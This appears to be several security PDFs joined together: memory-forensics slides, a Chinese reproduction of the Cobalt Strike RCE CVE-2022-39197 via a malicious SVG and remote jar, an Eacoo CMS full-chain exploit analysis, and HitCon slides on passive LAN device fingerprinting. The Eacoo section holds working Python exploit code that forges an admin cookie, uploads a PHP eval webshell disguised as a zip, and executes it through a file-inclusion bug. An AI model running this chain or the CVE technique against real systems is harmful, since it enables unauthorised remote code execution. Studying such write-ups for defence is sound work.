Many+variega#ons+to+achieve+the+same+goal;+ •  10+Process+Injec#on+Techniques+(Ashkan+Hosseini/Endgame)+ •  LoadLibrary,+Hallowing,+Thread+hijacking,+Windows+Hooks,+Registry+ keys,+APC,+SetWindowLong,+Shims+&+IAT+shims+ •  Flame+was+a+sort+of+hallowing+aBack+ •  “hid”+inside+of+ntdll,+remained+undetected+for+years+ Enter DMA with PCILeech 0 •  +Ulf+Frisk+Direct-Memory-ABack-the-Kernel:+ •  PCILeech+aBacks+and+u#lity+for+forensics+(memory)+collec#on+ •  Uses+a+variety+of+(very+cool)+techniques+to+execute+payloads+ •  One+of+the+simplest+is+the+“unlock”+func#onality+ •  It’s+an+inline+patch+however+ •  Hard+to+detect+w/o+manual+reversing+ Integrity valida>on 0 •  Full+valida#on+at+any+point+in+#me+must+be+able+to+be+conducted+ •  System+state+should/must+be+sta#c++ •  CPU+execu#on+will+allow+aBackers+to+play+games+/+evade+read’s+ •  RDMA++ •  LiveMigra#on+/+Snapshowng+ Tie it together0 Un+F’d+Memory+Forensics+–+Remove+the+guesswork+ + •  Leverage+wide+range+of+informa#on+sources+ •  Have+a+comprehensive+global+view+of+the+data+set+ •  Appropriate+countermeasures+for+most+aBackers+(RoP)+ •  Integrity+checking+of+memory+(in+line+patch+protec#on)+ •  Symbols+and+context+for+analysis+of+pointers++ •  Pointer+tracking+becomes+more+significant+as+we+can+qualify+their+address/vector+ Demo’s & Thank you0 •  Check+out+the+tools++ Github.com/K2+
pdf
对 CVE-2022-39197 的曲折重现路 0x01 前言 之前看了@漂亮鼠大佬的文章《最新 CS RCE 曲折的复现路》,对文章的内容非常感兴 趣,但是大佬在文章中故意对关键利用链进行忽略,如图 1.1 所示,也勾起了大家浓烈的研 究兴趣。 图 1.1 大佬隐藏的关键利用链 本来以为按照大佬的提示这会是比较简单的一次复现,但是在实际过程中还是遇到很多 困难,可能这就是大佬和小弟的区别吧。非常感谢二哥@gainover 在复现过程中给予的指点 和帮助。 在阅读本文之前需要首先阅读原文,原文中很多内容已经很详细了,我会尽量不写原文 已经有的内容。算是完成大佬留下的课后作业吧。 0x02 初探 第一次准备寻找相应的利用链的时候,听到旁边的同事说除了 CS 受影响,哥斯拉也受 到这个漏洞影响,我下意识的以为这是一个通用的 JDK 的利用链。所以最开始的很长一段时 间我都是直接在 JDK 中调试的,完全忽略了 CobatStrike 本身,虽然走了很多弯路,但是还 是积累了一些基本的方法。 在第一步复现的时候,就遇到了问题。跟着大佬的思路,object 标签会自动调用对应的 setXXX 方法,如图 2.1 所示。但是我直接拷贝的大佬的代码,但是我无论如何都进不去 setText 方法,难道我连最基本的原理都理解错了? 图 2.1 原文中对 setXXX 方法的简单利用 后来仔细调试之后才发现这里的单词写错了,不是 parame,而是 param。然后看到了 这样的截图,如图 2.2 所示。大佬套路深,我要回农村。 图 2.2 大佬的套路 按照文章中给的思路要找到利用链,需要满足四个条件。 1)classid 传入需要实例化的类,类必须继承与 Component 2)必须有无参构造方法,貌似是因为 newinstant 是调用的无参构造方法 3)必须存在一个 setXXX 方法的 XXX 属性 4)setXXX 方法的传参数必须是接受一个 string 类型的参数 我们不可能人工来发现满足条件的类和方法,可以直接通过 idea 发现所有继承自 Component 的类,保存类名,并通过反射的方式来筛选满足其他条件的所有的类和方法。 从 JDK 中发现所有继承自 Component 接口的类,如图 2.3 所示。 图 2.3JDK 中继承自 Component 类的类 这些类只是满足了条件 1,把所有继承自 Component 类的类道出保存成文件。但是要 满足其他条件,还需要继续对这些类进行筛选。为了更方便的找出满足条件的类和方法,我 写了一个自动化遍历的代码,其主要功能是读取刚才保存的继承自 Component 类信息的文 件,然后通过反射的方式来判断类是否满足其他几个条件,如图 2.4 所示。其中 classFullName 代表需要便利的完整的类名,主要是通过正则的方式从文件中读取,限于篇幅有限,就不展 示了,过程中主要的步骤我都以注释的方式解释代码。 图 2.4 自动化便利筛选满足条件的类 按照这种方式我们很容易就找到了很多满足条件的类,如图 2.5 所示。总计大概有 160 个。 图 2.5 在 JDK 中筛选的满足条件的类及对应的方法 但是按照这种方式筛选的满足条件的方法最终的数据量还是很大,筛选到的方法中有大 量无用的方法,比如 setName、setLabel、setToolTipText、setAsText 等。这些方法都很简单, 一般只是对应 swing 最终界面展示内容的功能,我们先暂时不考虑这些功能。所以我们对上 面的代码进行了改进,增加黑名单方法,如图 2.6 所示。 图 2.6 增加黑名单方法 按照这种方式筛选之后 JDK 中可能满足的方法就只剩下 19 个,如图 2.7 所示。 图 2.7 筛选之后 JDK 中可疑的 19 个方法 这些方法都需要进行人工研判,其中最能吸引人眼球的是 setDocumentBase 方法,这 种方法名总是给人一种像是 JNDI 注入设置路径的感觉,但是实际测试来看根本就不会调用 这个方法,因为 documentBase 属性不是 writeMethod,而仅仅是一个 readMethod。在 ObjectView 类中也明确要求,满足条件的属性必须是 writeable,而这应该也算是第 5 个条 件吧,如图 2.8 所示。 图 2.8 判断属性是否是属于 Writeable property 又对其他的方法依次都进行了查看,总归是没有找到哪一个方法能导致命令执行。 0x03 峰转 在我还在对着 JDK 的源码死磕的时候,看到朋友圈里面二哥发了一张利用 object 标签 执行命令的图,然后问了一下二哥”是不是 setContentType”,因为站在我当时的角度,只 有 setContentType 里面有较复杂的逻辑,设计到了动态类加载的过程。但是二哥回复说“不 是,不要看 JDK 的,可以看看 CS 的类”。 这时候我才突然醒悟过来,这个漏洞虽然说影响了 CobaltStrike 和哥斯拉,但是实际上 大佬们在平时一直都是说这是一个 CS RCE 漏洞,并没有人说这是 JDK SWING 的 RCE。实际 上 CobaltStrike 和哥斯拉的利用链根本就不通用,第一次觉得自己浅薄了。 赶紧把好久不用的 CS 掏出来,然后把对应的 jar 包加入 liabrary。按照之前的方式来自 动化发现可能利用的方法,结果如图 3.1 所示。 图 3.1 在 CS 的 jar 包中发现的可能被利用的方法 按照这种方式,确实找到一些新的可能利用的方法,依次对方法进行筛选之后之后,最 终我确定这里面可能利用的方法只可能是两个 setTeamServerAlias 和 setURI。只有这两个方 法中有比较复杂的代码逻辑,并且涉及到了动态类加载相关的代码,但是在实际 debug 的 时候发现 CS 的所有的类断点都只能下在方法名,不能把断点下载方法体里面,并且跟踪到 方法名之后 F7 也不能进入方法体。相当于我们调试只能到方法名,不能到方法体调试,这 是一件很痛苦的事情,如图 3.2 所示。 图 3.2 在方法体中的断点式无法进入的 后来问了一个大佬,大佬告诉我说 CS 的 class 文件为了反调试都去掉了行号,没有行 号之后就不能在方法体内部进行调试,只能调试到方法名。而且这种机制并没有什么好的办 法解决。 Java 的代码都是很复杂的,内部逻辑很多,如果不能有效的调试,特别是涉及到内部还 有多线程并发的操作,就会显得尤其痛苦。因为一些其他的事情,本来好多天都没有看这个 代码了,后来二哥又给提示说,最终的利用链就是 setURI,并且不需要用很复杂的分析技术, 只是看了一些官方的 demo 就复现成功了,这个意料之中又让人惊喜的结果又让我对复现 这个漏洞产生了兴趣。 二哥所说的官方的 demo 我到现在都没找到,但是却给了我一些提示,单纯的看代码并 不是最高效的解决方案,可以和一些实际 demo 相结合,特别是对于当前调试有一些技术上 障碍的情况下。首先我们明确最终的利用链是 org.apache.batik.swing.JSVGCanvas-->setURI 这个方法的功能是设置 SVG 图片的地址,远程加载 SVG 图片。熟悉前端攻防的人其实 对 SVG 是不陌生的,这是一个经常用于特殊场景下 XSS 绕过的标签。如何来利用 SVG 来加 载执行 JAVA 代码呢?这在网上是肯定搜索不到的,但是如何利用 SVG 来加载 Javascript 代 码,这个是很容易找到的,如图 3.3 所示? 图 3.3 通过 SVG 来加载 javascript 代码 这个代码很容易让我们想到,把 JS 的代码按照 ScriptEngineManager 的方式转化为 java 代码是不是可以执行呢,如图 3.4 所示? 图 3.4 把 JS 代码转化为 JAVA 代码 如果我在独立的环境中来执行对应的代码,是可以正常执行,确实是可以弹出计算器的, 如图 3.5 所示。 图 3.5 本地通过 script 标签来执行 java 代码 但是把这个代码放在 CS 的环境中来运行,却发现并不能正常运行,如图 3.6 所示。 图 3.6 在 CS 环境中运行上面的代码报错 从上面的代码报错可以看出 CS 环境中并没有运行代码所需的 javascript 相关的库,所 有爆了 ClassNotFoundException 的异常,这样当然是没有办法直接利用的。但是这个方式 仍然可以帮助我们在 debug 的时候发现整个利用链中最关键的一个方法调用 org.apache.batik.bridge.BaseScriptingEnvironment 类的 loadScript 方法,如图 3.7 所示。 图 3.7loadScripts 方法加载执行代码 从 上 面 代 码 的 逻 辑 可 以 看 出 通 过 获 取 的 type 来 走 不 通 的 分 支 流 程 , 默 认 为 text/ecmascript。这种方式可以通过 javascript 库来执行命令,但是由于默认 CSjar 包中并没 有 javascript 库,导致这种方式并不能执行利用,但是从代码中我们可以发现还有一个分支 流程是 type=application/java-archive 的情况,如果进入这个分支流程,会是一个什么逻辑 呢,如图 3.8 所示? 图 3.8application/java-archive 分支的代码加载流程 从代码中可以看出这里逻辑大体上是加载一个远程 URL 地址的 jar 包,然后 loadClass 加载 var13 对应的类。如果整个过程完成可控,那么我们就可以通过 URLClassLoader 来达 到 RCE 的效果,那么我们整个利用链就活了。 跟踪 getXLinkHref 来看具体的 URL 地址是如何取出的,如图 3.9 所示。 图 3.9 获取远程待加载的 URL 地址 从图中可以看出 URL 地址来自于 namespaceURL 为 http://www.w3.org/1999/xlink 的 href 属性。按照相似的办法来构造 SVG 文件的内容,如图 3.10 所示。 图 3.10 改造后的 SVG 文件内容 在此之后我们也只是进入了对应的流程中,还需要解决几个对应的条件判断,如图 3.11 所示。 图 3.11 要最终 RCE 需要满足的条件 其中条件 1 是 checkCompatibleScriptURL,跟进对应的方法,一直对应的跟下去,就会 发现最终会进入到 DefaultScriptSecurity,如图 3.12 所示。其中 var2 和 var3 分别对应远程 svg 文件地址和远程 jar 包地址,要求这两个地址必须 host 相同,这就很好办到了。 图 3.12checkCompatibleScriptURL 检查的核心逻辑 条件 2 和条件 3 可以一直来看,都是检查配置文件 META-INF/MANIFEST.MF 中的配置 项,我下意识的以为 META-INF/MANIFEST.MF 是指 CS 的 jar 包中的配置,所以一直觉得这 里的判断是不可能绕过的,后来才知道原来这个 META-INF/MANIFEST.MF 是指远程 jar 包中 的配置文件,和 CS 无关,属于我们可控的部分,那么整个攻击链就完全打通了。我们需要 修改远程 jar 包中的 META-INF/MANIFEST.MF 文件,配置其中 Script-Handler 的值为需要远 程加载的恶意类的类名,如图 3.13 所示。 图 3.13 指定要远程加载的恶意类名称 CodeSource 至于 CodeSource.class 文件,则是经过编译之后的恶意类,只需要在静态代码块或者无 参构造函数中填写对应的恶意代码即可,如图 3.14 所示。 图 3.14 最终执行的恶意类 CodeSource 最后我们完整的来总结一下整个利用过程,需要准备好恶意的 SVG 文件和恶意的 jar 包, jar 包中包含恶意类 CodeSource(其他名字也可以,但是必须和配置文件中的名字对应), 放置在一台服务器上,恶意的 jar 包中需要修改 META-INF/MANIFEST.MF 配置文件。最后我 们来看一下运行的效果,如图 3.15 所示。这里面会有一些报错,但是实际上不影响执行, 要不报错就把恶意类继承 ScriptHandler 就可以了。 图 3.15 利用 object 标签加载远程加载恶意类 0x04 回归 为了保持故事的完整性,我还是继续对 CS 利用部分进行了复现,这部分的内容相对而 言漂亮鼠大佬已经在文章中给出了,我只是简单的说几句。 大佬给出了两种利用方式,一种是在首页通过 frame 标签来绕过首页 117 个字节的长 度限制。但是我在实际测试的过程中发现无论我怎么写都会在 setParent 方法中报异常转换 的错,如图 4.1 所示。本来想继续死磕一下这个 frame 的原理,但是后来发现另一种方式直 接就成功了,所以这里暂时忽略。 图 4.1 使用 farme 标签报错 另外一种方式是通过 hook windows api 的方式来传输恶意 payload,参照大佬的步骤直 接就可以复现了,如图 4.2 所示。 图 4.2 复现最终 CS RCE 合影留念 0x04 结论 这个漏洞号称是脚本小子杀手,喜欢用 CS 的我瑟瑟发抖。复现这个漏洞也是一个很有 意思的事情,让我学到了很多关于 Swing 和 SVG 的知识,再次感谢二哥在复现过程中给予 的支持。 最后,我还想提出一个观点,java 和 javascript 是什么关系?雷锋和雷峰塔的关系?
pdf
Eacoo Fullchain Exploit分析 Bug1: 登录绕过 登录绕过主要是框架的设计存在一些问题,可以通过构造cookie触发该逻辑漏洞,然后设置成指定uid登 录.触发的逻辑是使用user profile接口 关键点在于is_login()的逻辑 // apps/user/controller/Personal.php    public function profile() {        if(!is_login()){          $this->error('未登录');       }        if (IS_POST) {          /* 省略代码 */       }else {          // 获取账号信息          $user_info = get_user_info(is_login());  // 获取登录信息,主要关注 is_login()的逻辑          unset($user_info['password']);          unset($user_info['auth_group']['max']);          $this->assign('user_info',$user_info);          return $this->fetch();       }   } // apps/admin/logic/AdminUser.php    public static function isLogin()   {        $user = session('admin_login_auth');        if (empty($user)) {  // 从session中获取admin_login_auth,如果是未登录的账号, 此处必定为空,进入下面的逻辑            if (cookie('?admin_uid') && cookie('?admin_signin_token')) {  // 从 cookie中获取对应的字段                $user = self::get(cookie('admin_uid'));                if ($user) {  // 从cookie中获取user字段                    $signin_token = data_auth_sign($user->username.$user- >uid.$user->last_login_time);  // 计算出一个签名 eacoo的管理员账号为admin,对应的uid为1.从此处判断登录的代码可知,要满足等于admin管理员的 token签名校验,就必须要满足: admin_signin_token=data_auth_sign('admin1' + last_login_time) .在这里就要两个要素需要解决: 1. data_auth_sign()的代码是怎么处理hash的 2. 怎么样获取last_login_time的值 关于data_auth_sign()的实现,代码如下,简单来说就是对传入的字符做了一次sha1运算 也就是说,传入的数据需要满足 admin_signin_token=sha1('admin1' + last_login_time) .对于指 定uid的last_login_time值,可以通过链接 /public/index.php/user/index/info/uid/1.html 来泄漏. 那么最终的利用构造如下:                    if (cookie('admin_signin_token') == $signin_token) {  // 如 果这个签名等于cookie中admin_signin_token的话,那么就认为登录成功                        // 自动登录                        self::autoLogin($user, true);  // 以传入来的uid为身份设置登 录状态                        return $user->uid;                   }               }           };            return 0;       } else{            return session('admin_activation_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;       }   } // apps/functions/string.php /** * 数据签名认证 * @param array $data 被认证的数据 * @return string       签名 * @author 麦当苗儿 <[email protected]> */ function data_auth_sign($data) {    //数据类型检测    if (!is_array($data)) {        $data = (array)$data;   }    ksort($data); //排序    $code = http_build_query($data); //url编码并生成query字符串    $sign = sha1($code); //生成签名    return $sign; } 至此就可以获得后台管理员权限了 Bug2: 本地文件包含 这个漏洞的产生是因为eacoo提供支持插件加载的操作,加载插件内容的代码在这里,要调用该接口必须 要有管理员权限 def bug_admin_eop_in_home(eacoo_php_base_url) :    get_admin = requests.get(eacoo_php_base_url + '/public/index.php/user/index/info/uid/1.html')    page_data = get_admin.text    flag = '<i class="fa fa-leaf" style="margin-right: 5px;"></i>'    if -1 == page_data.find(flag) :        print('Get Admin Error !')        exit()    last_login_time = page_data[ page_data.rfind(flag) + len(flag) : ].strip()    last_login_time = last_login_time[ 5 : last_login_time.find('<') ].strip()    encode_data_list = last_login_time.split(' ')  # 解析页面获取last_login_time的 值    # 非管理后台登录hash    encode_data = '0=admin1%s+%s' % (encode_data_list[0],urllib.quote(encode_data_list[1]))    sha = hashlib.sha1(encode_data)  # 算出指定的hash    hash_data = sha.hexdigest()    cookies = {        'eacoophp_uid' : '1',        'eacoophp_signin_token' : hash_data ,   }    session = requests.session()    responed = session.get(eacoo_php_base_url + '/public/index.php/user/personal/profile',cookies = cookies,allow_redirects = False)  # 要用requests的session类来维持登录态    new_update_prilivige_cookie = responed.headers['Set-Cookie']  # 返回的这个新 cookie才是有登录态的cookie    if not 'eacoophp_signin_token' in new_update_prilivige_cookie :        return False    return session // apps/home/controller/Plugin.php    public function fetch($template='', $vars = [], $replace = [], $config = [] ,$render=false) { 上面的代码的关键点就在于要能够让thinkphp fetch()函数的第一个参数要控制到指定的路径,此时就能 够触发本地文件包含的漏洞.要满足这个判断,就一定要满足 !is_file($template) 保证指定目录的文件 一定要存在.那么关注$template的赋值: 所以构造出以下的Payload触发该问题        $plugin_name = input('param.plugin_name');        if ($plugin_name != '') {            $plugin = $plugin_name;            $action = 'index';       } else {            $plugin = input('param._plugin',$this->name);  // (1)            $action = input('param._action');       }        $controller = input('param._controller','');        $template = $template_name = $template == '' ? $controller.'/'.$action : $template;  // 在这里$template默认是空参数,所以会走逻辑$template = $controller.'/'.$action (2)        if (!is_file($template)) {  // 注意这个判断            $current_theme_path = THEME_PATH.CURRENT_THEME.'/';            $theme_plugin_path  = $current_theme_path.'plugins/'.$plugin.'/';            $template     = $theme_plugin_path.$template . '.' .config('template.view_suffix');            if (!is_file($template)) {                $template = $this->pluginPath. 'view/'. $template_name . '.' .config('template.view_suffix');                if (!is_file($template)) {                    throw new \Exception('模板不存在:'.$template, 5001);               }           }       }        echo $this->view->fetch($template, $vars, $replace, $config, $render);  // 主要能够到这里,就可以进行文件包含,参考thinkphp的fetch()的实现,关键是要控制$template参 数,到指定路径 (3)   } $template = $controller.'/'.$action 如果要可控目录和文件名,那么就必须要走到备注(1)的路径,走到路径 $plugin = input('param._plugin',$this->name); // (1) $action = input('param._action'); 此时就可以可控目录和文件名,如果走($plugin_name != '')的话,那么$action的值为index就不可控了 对于这个文件包含的漏洞,还需要两个要素: 1. 包含文件的路径 2. 包含文件的名字 这两个要素都可以在文件上传的接口中返回 Bug3: 上传绕过 现在有了个本地文件包含的漏洞,接下来的利用思路就是需要搭配文件上传,让php代码传到服务器上,然 后通过本地文件包含去执行代码.上传文件的逻辑在管理员后台的文件上传接口,调用该接口就必须要有管 理员登录的状态 接下来关注文件上传的代码: def bug_rfi(eacoo_php_base_url,upload_path,upload_avater_name,is_debug_output = False) :    # picture = ../public/uploads/avatar/1    # file = ../public/uploads/file/2020-03-31    url = eacoo_php_base_url + '/public/index.php/home/plugin/fetch? _plugin=1&_action=%s&_controller=../public%s' % (upload_avater_name,upload_path)    responed = requests.get(url)    if 404 == responed.status_code :        return False    responed = requests.post(url,data = { WEB_SHELL_KEY : 'echo "%s";' % (ECHO_KEY)})    if is_debug_output :        print(responed.text.encode('UTF-8'))    if ECHO_KEY in responed.text :        return url    return False // apps/admin/controller/Upload.php    public function upload() {        $controller = new UploadLogic;        $return = $controller->upload();        return json($return);   } 在保存上传文件的时候有一些判断: 1. 上传的文件拓展名(image_exts)只能选择doc,docx,xls,xlsx,ppt,pptx,pdf,wps,txt,zip,rar,gz,bz2,7z 2. 上传的文件会保存到路径 ./uploads/file/文件上传年月日 即便这样也没有问题,利用方法就是直接把shell写进zip文件,然后触发本地文件包含去调用zip里面的数 据就可以了. // apps/common/logic/Upload.php public function upload($param = []) { try { $upload_type = $this->request->param('type', 'picture', 'trim'); $config      = config('attachment_options'); $config['subName']=['date','Y-m-d']; if ($upload_type=='picture') { $config['maxSize']  = $config['image_max_size']; $config['exts']     = $config['image_exts']; $config['saveName'] = $config['image_save_name']; } else{  // 如果是直接上传文件就会走这个逻辑 $config['maxSize']  = $config['file_max_size']; $config['exts']     = $config['file_exts']; $config['saveName'] = $config['file_save_name']; }       $this->path_type = $this->request->param('path_type', 'picture', 'trim'); $upload_path = './uploads/'.$this- >path_type.'/'.call_user_func_array($config['subName'][0],[$config['subName'] [1],time()]);  // 拼接上传文件路径 $file = $this->request->file('file');  // 从POST请求中读取文件数据 if (!$file) { throw new \Exception("file对象文件为空,或缺失环境组件。错误未知,请前往 社区反馈",0); } if (!$file- >validate(['size'=>$config['maxSize'],'ext'=>$config['exts']])) {//验证通过 throw new \Exception($file->getError(), 0); } 如何fullchain 这是由三个漏洞一环环配合而互相配合触发的未授权rce.第一步先要进行登录绕过,获得管理员权限,然 后才能够进行文件上传和文件包含. def bug_arbitrarily_file_upload(eacoo_php_base_url,eop_prilivige_session) :    url = eacoo_php_base_url + '/public/index.php/upload? type=file&path_type=file'    webshell_file = { 'file': ('report.zip', '<?php $key="%s";if(isset($_POST[$key]))eval($_POST[$key]); ?>' % (WEB_SHELL_KEY)) }    responed = eop_prilivige_session.post(url,files = webshell_file)    upload_result = json.loads(responed.text)    if not upload_result['data'] :        return False    upload_path = upload_result['data']['path']    return upload_path    eop_prilivige_session = bug_admin_eop_in_home(TEST_EACOO_BASE_URL)    upload_file = bug_arbitrarily_file_upload(TEST_EACOO_BASE_URL,eop_prilivige_session)    upload_file_path,upload_file_name = os.path.split(upload_file)    check_rce_url = bug_rfi(TEST_EACOO_BASE_URL,upload_file_path,upload_file_name)    try_execute_web_shell(check_rce_url,'ipconfig')
pdf
Some things about LAN device detection (關於內網設備識別的二三事) Canaan Kao, Terence Liu, Hsien-Wei Hung and Ryan Lung [email protected] Network Threat Defense Technology Group Trend Micro 2015/8/29 1 HitCon2015: LAN device detection Who we are • Network Threat Defense Technology Group (NTDTG) of Trend Micro – We have offices in Hsinchu and Taipei. • We focus on – (Virtualized) High-speed IPS/IDS – Network-stream-based AV – Smart-home Protection – IoT Security 2015/8/29 2 HitCon2015: LAN device detection Before we start • HitCon2014 slogan: – Adapt to the new era of security threats – 威脅是一定會有的,我們要學會適應。 • HitCon2015 slogan: – Security of Things – 物連網安全。 • The combination: – Adapt to the new era of IoT security threats. – 物連網威脅是一定會有的,我們要學會適應。 2015/8/29 HitCon2015: LAN device detection 3 Agenda • Why LAN device identification (LDI) • How to detect LAN devices • The threat intelligence with LDI • Summary 2015/8/29 HitCon2015: LAN device detection 4 • Why LAN device identification 2015/8/29 HitCon2015: LAN device detection 5 Why LAN device identification • 過去FW/IDS/IPS 基本上會以為家裡的設備 是這樣? 2015/8/29 HitCon2015: LAN device detection 6 Why LAN device identification • 但是,家裡連網的設備實際上可能會是…. 2015/8/29 HitCon2015: LAN device detection 7 Why LAN device identification • 萬一有誤會,就會產生拿針對 x86 產生的 特徵碼來偵測攻擊 ARM/MIPS 設備的 shellcode 的狀況…. • User 通常不知道 2015/8/29 HitCon2015: LAN device detection 8 Why LAN device identification • Monitoring – 計量 • Access Control – 連網控制 • Learning – 知己, LAN device behavior modeling – 知彼, Threat intelligence 2015/8/29 HitCon2015: LAN device detection 9 Why LAN device identification • Device identification is not important for traditional IDS/IPS? – Age is changed. – IDS/IPS need to change too. 2015/8/29 HitCon2015: LAN device detection 10 Why LAN device identification • PC 上的 Botnet/Malware 會讓自己看起來越來越 正常。例如:透過 Dropbox 通訊、看Blog等等。 • 這樣比較好規避 AV/IPS/FW. 2015/8/29 HitCon2015: LAN device detection 11 Why LAN device identification • 可是其他的智慧家電呢?例如:冰箱。 – 對 PC 來說是正常的行為,對其他的 devices/things 來說,可能還是算異常。 2015/8/29 HitCon2015: LAN device detection 12 Why LAN device identification • 所以,問題是,我怎麼知道目前在送 emails 的是台什麼樣的機器? – 是 PC? 還是冰箱?哪個牌子? 型號? 病歷? 2015/8/29 HitCon2015: LAN device detection 13 • How to detect LAN devices 2015/8/29 HitCon2015: LAN device detection 14 How to detect LAN devices • 基本上,方法有兩種 – 1. 主動進行 device fingerprinting scan • 就像是 Nmap 的 OS fingerprinting • 缺點是容易被發現,且增加不必要的 traffic – 2. 被動觀察 devices 送出來的 packets • 優點是隱密性高 • 缺點是相關的 packets 一定要流經過 • (我們用這種) 2015/8/29 HitCon2015: LAN device detection 15 How to detect LAN devices • 被動式的 LAN Device Identification 可以怎麼 做? – 0. Are you router/NAT or devices? – 1. Check the OUI of MAC address – 2. Check the DHCP options – 3. Check the user-agent of HTTP request – 4. Check the used applications • 例如:發現它常用 Skype ,那就猜它應該是 PC/phone? – 5. Check 其他… • 習慣用的 DNS 與 互連的 IP 等等 – 綜合這些 features, 我們就可以來 算分數/learn  2015/8/29 HitCon2015: LAN device detection 16 How to detect LAN devices NAT/Router detection • 如果某個IP是台 router/NAT,而我們在它的 WAN 端 – 所轄設備的 MAC addresses,我們應該看不到 – 所轄設備的 DHCP packets,我們應該看不到 – 該 IP 所呈現的 user-agents 與 application traffic 可能會太多樣 2015/8/29 HitCon2015: LAN device detection 17 How to detect LAN devices NAT/Router detection • Two keys – The ID field in IP Header • In general, NAT does not modify IP ID. • If an host presents multiple IP ID sequences, it may be a NAT. – The TTL field in IP Header • If you are in LAN and you find the packet’s TTL is not the initial value (128 for Windows), the packet may be NATed or routed. 2015/8/29 HitCon2015: LAN device detection 18 How to detect LAN devices NAT/Router detection • 主要我們會觀察 IP header 的兩個欄位 2015/8/29 HitCon2015: LAN device detection 19 How to detect LAN devices NAT/Router detection The ID field in IP Header • 有些 OS (例如 Win7) 會習慣用同一個 counter 來設定所有送出的 IP ID。 – 所以,如果一個IP送出來的 packets 其 IP ID 都是以同一個序列遞增,那它應該是台 host。 – 如果不是,那就要再看其他的。 2015/8/29 HitCon2015: LAN device detection 20 How to detect LAN devices NAT/Router detection The ID field in IP Header • 如果沒有經過 NAT,那我們看到的 IP ID 序列有可能長這樣。 2015/8/29 HitCon2015: LAN device detection 21 How to detect LAN devices NAT/Router detection The ID field in IP Header • 如果有經過 NAT,那我們看到的 IP ID 序列有可能長這樣。 2015/8/29 HitCon2015: LAN device detection 22 How to detect LAN devices NAT/Router detection The ID field in IP Header • 所以,如果要偵測家裡的設備,最好的方 式就是和 home router 廠商合作。 – 除非家裡有另外的 NAT,要不然我們就可以免 除家裡的困擾。 2015/8/29 HitCon2015: LAN device detection 23 How to detect LAN devices NAT/Router detection The TTL field in IP Header • TTL 通過 NAT/Router 就會被減一。 – 所以如果我們看到的封包的 TTL 不是 default value,那它有可能先經過 NAT/Router. – Default values: • Win7_TCP: 128 • Ubuntu_TCP: 64 • Ref: http://www.binbert.com/blog/2009/12/default-time-to-live-ttl-values/ 2015/8/29 HitCon2015: LAN device detection 24 How to detect LAN devices 1. Check the OUI of MAC address • Source: https://en.wikipedia.org/wiki/MAC_address 2015/8/29 HitCon2015: LAN device detection 25 How to detect LAN devices 1. Check the OUI of MAC address 2015/8/29 HitCon2015: LAN device detection 26 How to detect LAN devices 1. Check the OUI of MAC address • Source: http://standards-oui.ieee.org/oui.txt 2015/8/29 HitCon2015: LAN device detection 27 How to detect LAN devices 1. Check the OUI of MAC address • 基本上透過 OUI 的檢查,我們可以知道廠牌 2015/8/29 HitCon2015: LAN device detection 28 How to detect LAN devices 1. Check the OUI of MAC address 應用:綿羊牆 2015/8/29 HitCon2015: LAN device detection 29 How to detect LAN devices 1. Check the OUI of MAC address 應用:綿羊牆 2015/8/29 HitCon2015: LAN device detection 30 How to detect LAN devices 2. Check the DHCP options • Why? – 有人買 home router/gateway 回家啟用後,沒 開 DHCP 的嗎? • 有普遍性 – DHCP Client 有可能洩漏些可識別的資訊給 DHCP Server – 以及中間偷聽的設備  2015/8/29 HitCon2015: LAN device detection 31 How to detect LAN devices 2. Check the DHCP options • Dynamic Host Configuration Protocol (DHCP) is based on BOOTP. – UDP port 67 for server – UDP port 68 for client • Source: https://upload.wikimedia.org/wikipedia/commons/e/e4/ DHCP_session.svg 2015/8/29 HitCon2015: LAN device detection 32 How to detect LAN devices 2. Check the DHCP options • Source: http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_5- 2/figure_2_dhcp.gif 2015/8/29 HitCon2015: LAN device detection 33 How to detect LAN devices 2. Check the DHCP options 2015/8/29 HitCon2015: LAN device detection 34 For the details of DHCP options, please check RFC 2132. How to detect LAN devices 2. Check the DHCP options 2015/8/29 HitCon2015: LAN device detection 35 How to detect LAN devices 2. Check the DHCP options (Win7 DHCP packets) 2015/8/29 HitCon2015: LAN device detection 36 How to detect LAN devices 2. Check the DHCP options (Win7 DHCP packets) 2015/8/29 HitCon2015: LAN device detection 37 How to detect LAN devices 2. Check the DHCP options (Win7 DHCP packets) • 這個 option 有用 2015/8/29 HitCon2015: LAN device detection 38 How to detect LAN devices 2. Check the DHCP options (Win7 DHCP packets) • 這個 option 也有用 2015/8/29 HitCon2015: LAN device detection 39 How to detect LAN devices 2. Check the DHCP options • Option 55/0x37 要怎麼用? – 把 request 序列直接當特徵碼 • 因為 request list 會因為各家 DHCP client 的實作不 同而有所不同 – 以剛剛那個 Win7 packet 為例, • 先找到 Option 55/0x37,跳過一個 byte (長度), 再比 • 0x01, 0x0f, 0x03, 0x06, 0x2c, 0x2e, 0x2f, 0x1f, 0x21, 0x79, 0xf9, 0x2b • 1,15,3,6,44,46,47,31,33,121,249,43 2015/8/29 HitCon2015: LAN device detection 40 How to detect LAN devices 2. Check the DHCP options 2015/8/29 HitCon2015: LAN device detection 41 How to detect LAN devices 2. Check the DHCP options • 一些 DHCP option 55 特徵碼 [2][4] – For Win7/Server2008 • 1,15,3,6,44,46,47,31,33,121,249,43 – For Win 8 • 1,15,3,6,44,46,47,31,33,121,249,252,43 • 1,3,6,15,33,44,46,47,121,249,43,60,212 – For Apple iPod, iPhone or iPad • 1,3,6,15,119,78,79,95,252 • 1,3,6,15,119,252 • 1,3,6,15,119,252,46,208,92 • 1,3,6,15,119,252,67,52,13 2015/8/29 HitCon2015: LAN device detection 42 How to detect LAN devices 3. Check the user-agent of HTTP • 有時候,檢查 Browser 的 user-agent 裡面 的 keywords 也是一個選項。 – 的確,user-agent 比 MAC address 或是 DHCP option 55 更容易被假造。 – 沒有辦法時的辦法,加減用一下  2015/8/29 HitCon2015: LAN device detection 43 How to detect LAN devices 3. Check the user-agent of HTTP • IE11 on Win7 – User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; GTB7.5) like Gecko • iPhone – Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 2015/8/29 HitCon2015: LAN device detection 44 How to detect LAN devices 4. Check the used applications • 有些 things/devices 沒有 Ethernet/Wifi,必 須透過 (IoT) Gateway 轉換通雲端 (to log servers)。 – 看不到 MAC address, DHCP options 55, 不一 定有 user-agent – 傳統招式: • IP、domain 